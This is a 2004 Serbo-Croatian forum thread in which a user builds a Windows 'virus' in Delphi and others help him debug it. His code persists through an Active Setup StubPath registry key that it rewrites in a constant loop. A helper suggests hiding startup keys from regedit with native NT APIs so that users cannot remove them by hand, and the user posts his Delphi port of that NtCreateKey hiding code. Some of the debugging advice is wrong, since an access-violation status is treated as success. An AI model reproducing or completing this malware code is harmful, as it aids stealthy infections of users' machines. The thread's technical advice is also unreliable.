[ reiser @ 02.10.2004. 16:02 ] @
Ovako, prvo virus vidi da li postoji odredjeni key u HKCU\Microsoft\Active Setup\Installed Components\ime_keya
Ako postoji, on ga izbrise
Zatim, ulazi se u petlju koja non-stop vrti proceduru koja kreira key HKLM\Microsoft\Active Setup\Installed Components\ime_keya i u njemu vrednost StubPath koja sadrzi putanju do virusa na hard disku.
Kad restartujem racunar (ili se log-offujem), explorer.exe se pokrene i virus se uspesno pokrene takodje, ali niti se vidi ikonice, taskbar itd... sve dok ne ubijem virus iz task manager-a

Gde gresim >
[ VRKY @ 03.10.2004. 10:33 ] @
Ne znam jesi li to namjerno napravio ili si pogriješio.
Nije ovako:
HKCU\Microsoft\Active Setup\Installed Components\ime_keya
Nego:
HKCU\Software\Microsoft\Active Setup\Installed Components\ime_keya
[ reiser @ 03.10.2004. 13:30 ] @
Lose sam gore napisao, treba HKCU\Software\... i HKLM\Software\...
Btw, problem i dalje stoji, ko zna neka pomogne plz
[ Shadowed @ 03.10.2004. 13:37 ] @
Citat:
Gde gresim >
Verovatno u kodu.
[ reiser @ 03.10.2004. 13:56 ] @
Evo koda koji dodaje key u HKLM\Microsoft\...\Installed Components\CLSID :
Code:

procedure AddToStartup;
var
  hndKey : HKEY;
begin
  If RegCreateKeyEx(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Active Setup\Installed Components\{3bf42070-b3b1-11d1-b5c5-0000f8051515}', 0, nil,
                    REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, hndKey, nil) <> ERROR_SUCCESS Then
    Exit;
  RegSetValueEx(hndKey, 'StubPath', 0, REG_SZ,
                '"C:\WINDOWS\System32\virus.exe"', Length('"C:\WINDOWS\System32\virus.exe"') + 1);
  RegCloseKey(hndKey);
end;

Malo sam uprostio gornju proceduru, da bi bila jasnija.
Ova procedura se vrti u repeat..until petlji (izvrsava se konstanto, na svakih 100 mS)

Zatim, na pocetku virusa, stoji naredba :
Code:

RegDeleteKey(HKEY_CURRENT_USER, 'SOFTWARE\Microsoft\Active Setup\Installed Components\{3bf42070-b3b1-11d1-b5c5-0000f8051515}');

Ona brise taj isti key, samo iz HKCU.

Jos jednom, ovo sve radi, ali kad restartujem comp, nakon pojavljivanja kursora, explorer.exe se startuje, virus se startuje kao njegovo 'dete' i onda se nista ne dogadja... Sve dok ne ubijem proces koji virus pravi...
[ reiser @ 03.10.2004. 14:09 ] @
Inace, mogu da resim problem tako sto cu kad se virus startuje da ga re-executujem, ali mislim da to nije najelegantije resenje...
[ Shadowed @ 03.10.2004. 14:16 ] @
Ja sad bas ne mogu da se setim sta su tacno te "Installed Components" (podseti me), pa ne bih mogao da adekvatno pretpostavim sta je problem.

Kada sam pomenuo kod mislio sam na kod virus.exe-a.
[ reiser @ 03.10.2004. 14:38 ] @
Ne razumem... Na koji si ti kod mislio ??
[ Shadowed @ 03.10.2004. 14:47 ] @
Paa... kod koji kad kompajliras dobijes virus.exe.
OK, sad pretpostavljam da onaj kod koji si dao je deo tog koda na koji sam ja mislio.
U svakom slucaju, pretpostavljam da virus.exe radi nesto sto nisi predvideo (ili radi na los nacin). Kao sto rekoh, ne mogu bas dobro da pretpostavim jer se ne secam sta predstavljaju Installed Components.
[ reiser @ 03.10.2004. 14:51 ] @
E jbga...
Nista, onda cu da koristim ono re-executovanje...
[ Sundance @ 06.10.2004. 02:55 ] @
Da, tocno tako - MORAS napraviti re-execute inace se nece dalje normalno dizati :) i meni je ovo bilo glupo ali hej - slucajno generiran kljuc je pravo cudo naci medju hrpom onih MS shitova :) Pogotovo ako se MIJENJA pri svakom startup-u :)

Ali Marko, imam za tebe jedan novi bombonchich :)
http://www.sysinternals.com/ntw2k/info/tips.shtml#registryhidden

Mislim da dosad nijedan crv nije koristio nativne API-je za sakrivanje od regedit-a :) Koristeci ovo, mogao bi koristiti i uobicajene srartup kljuceve, samo sto ih onda korisnici ne bi mogli maknuti rucno sa regedit, vec iskljucivo sa specijaliziranim programima :)
[ reiser @ 06.10.2004. 02:58 ] @
Thnx na odgovorima !
[ reiser @ 06.10.2004. 03:22 ] @
Citat:
Ali Marko, imam za tebe jedan novi bombonchich
http://www.sysinternals.com/ntw2k/info/tips.shtml#registryhidden

Mislim da dosad nijedan crv nije koristio nativne API-je za sakrivanje od regedit-a Koristeci ovo, mogao bi koristiti i uobicajene srartup kljuceve, samo sto ih onda korisnici ne bi mogli maknuti rucno sa regedit, vec iskljucivo sa specijaliziranim programima


ql !
Ali dzabe kad ja ne znam C++ bas dobro (primer je pisan u C++-u)...
Ako bi neko mogao da mi prevede kod ili bar da pojasni malo detaljnije sta treba da uradim (recimo, 1. Nadji entry-point funkcija sa GetProcAddress itd...) bio bih mu zahvalan...
[ VRKY @ 06.10.2004. 21:14 ] @
Pozdrav:
Slučajno sam našao nešto što bi ti moglo odgovarati (kao primjer) .Napravljeno je u VB a ti znaš nešto VB pa se nadam da ćeš razumjeti...
[ reiser @ 08.10.2004. 19:58 ] @
Hvala vam, pogledacu kasnije ovo

poz
[ VRKY @ 08.10.2004. 20:08 ] @
Ja sam isprobao ono što sam uplodao i radi. Mislim da je to ono što tražiš... Javi je li...
[ reiser @ 09.10.2004. 01:07 ] @
Hvala na iscrpnom objasnjenju Sundance, ali imam jedan problem - kako da pozovem NTCreateKey funkciju ? Kad pokusam da pozovem :
Code:
NTCreateKey(@SoftwareKeyHandle, KEY_ALL_ACCESS, @ObjectAttributes,
              0, nil, REG_OPTION_NON_VOLATILE, @Disposition);
Delphi izbaci gresku Missing operator or semicolon... Problem je sto kompajler ne zna sta je NTCreateKey... Ja sam NTCreateKey deklarisao kao promenljivu tipa pointer i stavio NTCreateKey := GetProcAddress(blabla)....
[ Sundance @ 09.10.2004. 01:49 ] @
Trebas je deklarirati kao pokazivac (pointer) na funkciju (tj. na sam API). Ne znam koja je tocno sintaksa za to pod Delphi-em (vidi u helpu), ali mislim da ces trebati navesti i tipove parametara. Kompajler prijavljue gresku jer ne zna sto da pozove, trebas mu dat do znanja da se radi o funkciji kojoj ces sam naci adresu.
[ VRKY @ 09.10.2004. 07:06 ] @
Jel ti što pomogao onaj moj uplod?
[ reiser @ 10.10.2004. 14:31 ] @
Taj primer ne radi nista posebno, osim kreiranja/brisanja startup kljuceva...
[ reiser @ 11.10.2004. 17:12 ] @
Ovako... Ja sam onaj C kod preveo po Sundance-ovim uputstvima... Ali ocito je da sam negde pogresio... NtCreateKey funkcija ne vraca ERROR_SUCCESS (sto bi valjda trebala da vrati ako je uspesno kreirala/otvorila key)... Evo sourceta :
Code:

uses
  Windows;

type
  _UNICODE_STRING = record
                      Length        : Byte;
                      MaximumLength : Byte;
                      Buffer        : WideString;
                    end;

  _OBJECT_ATTRIBUTES = record
                         Length                   : LongWord;
                         RootDirectory            : THandle;
                         ObjectName               : _UNICODE_STRING;
                         Attributes               : LongWord;
                         SecurityDescriptor       : pointer;
                         SecurityQualityOfService : pointer;
                       end;

  TNTCK = function(KeyHandle        : THandle;
                   DesiredAccess    : LongWord;
                   ObjectAttributes : _OBJECT_ATTRIBUTES;
                   TitleIndex       : LongWord;
                   rClass           : pointer;
                   CreateOptions    : LongWord;
                   Disposition      : PLongWord) : Cardinal;
  TNTSVK = function(KeyHandle  : THandle;
                    ValueName  : _UNICODE_STRING;
                    TitleIndex : LongWord;
                    rType      : Cardinal;
                    Data       : pointer;
                    DataSize   : LongWord) : Cardinal;
  TNTDK = function(KeyHandle : THandle) : Cardinal;


const
  OBJ_CASE_INSENSITIVE = 0x40;

var
  KeyNameBuffer         : WideString = '\Registry\Machine\SOFTWARE';
  NewKeyNameBuffer      : WideString = 'ProbaKey';
  HiddenKeyNameBuffer   : WideString = 'ProbaPodKey' + #0;
  HiddenValueNameBuffer : WideString = 'HiddenVal';

  SoftwareKeyHandle : Cardinal;
  SysKeyHandle      : Cardinal;
  Disposition       : LongWord;

  KeyName, ValueName : _UNICODE_STRING;

  NTCreateKey : TNTCK;
  NTSetValueKey : TNTSVK;
  NTDeleteKey : TNTDK;

  ObjectAttributes : _OBJECT_ATTRIBUTES;

procedure InitializeObjectAttributes(n : _UNICODE_STRING; a : LongWord; r : THandle; s : pointer);
begin
  With ObjectAttributes Do
  Begin
    Length := SizeOf(_OBJECT_ATTRIBUTES);
    RootDirectory := r;
    Attributes := a;
    ObjectName := n;
    SecurityDescriptor := s;
    SecurityQualityOfService := nil;
  End;
end;

procedure LocateNTDLLEntryPoints;
begin
    NTCreateKey := GetProcAddress(GetModuleHandle('ntdll.dll'), 'NtCreateKey');
    NTDeleteKey := GetProcAddress(GetModuleHandle('ntdll.dll'), 'NtDeleteKey');
    NTSetValueKey := GetProcAddress(GetModuleHandle('ntdll.dll'), 'NtSetValueKey');
end;

begin
  LocateNTDLLEntryPoints;

  KeyName.Buffer := KeyNameBuffer;
  KeyName.Length := Length(KeyNameBuffer) * SizeOf(WCHAR);
  InitializeObjectAttributes(KeyName, OBJ_CASE_INSENSITIVE, 0, nil);
  SoftwareKeyHandle := 0;

  NTCreateKey(SoftwareKeyHandle, KEY_ALL_ACCESS, ObjectAttributes,
              0, nil, REG_OPTION_NON_VOLATILE, @Disposition); // Ovo ne vraca ERROR_SUCCESS

  SysKeyHandle := 0;

  KeyName.Buffer := NewKeyNameBuffer;
    KeyName.Length := Length(NewKeyNameBuffer) * SizeOf(WCHAR);
    InitializeObjectAttributes(KeyName, OBJ_CASE_INSENSITIVE, SoftwareKeyHandle, nil);
    NtCreateKey(SysKeyHandle, KEY_ALL_ACCESS, ObjectAttributes, 0,
              nil, REG_OPTION_NON_VOLATILE, @Disposition); // Ni ovo ne vraca ERROR_SUCCESS
end.


OBJ_CASE_INSENSITIVE je 0x40 u C-u, ali koliko je u Delphi-u ??!

poz
[ Sundance @ 12.10.2004. 00:36 ] @
Pa valjda isto 0x40 odnosno 40 hexadecimalno = 16*4=64 dekadski :) A koji ti tocno statusni kod vraca? sve >= 0 je ok!
[ reiser @ 12.10.2004. 00:58 ] @
Da li je 3221225477 OK ?
[ reiser @ 12.10.2004. 01:00 ] @
I jos nesto, da li OBJ_CASE_INSENSITIVE treba da bude definisano kao broj u hexadecimalnom sistemu ili mogu slobodno da stavim = 64 (dekadni) ?
[ Sundance @ 13.10.2004. 23:53 ] @
1) broj je OK, samo kad usporedjujes bazi da povratna vrijednost nije cast-ana na unsigned!

2) svejedno je for krajst nejm :)
[ reiser @ 14.10.2004. 18:54 ] @
OK, hvala...
Samo ne razumem... Sta znaci 'usporedjujes bazi' ? Mislis da stavim da je povratna vrednost tipa Integer (Signed), ne kao Cardinal (Unsigned) ?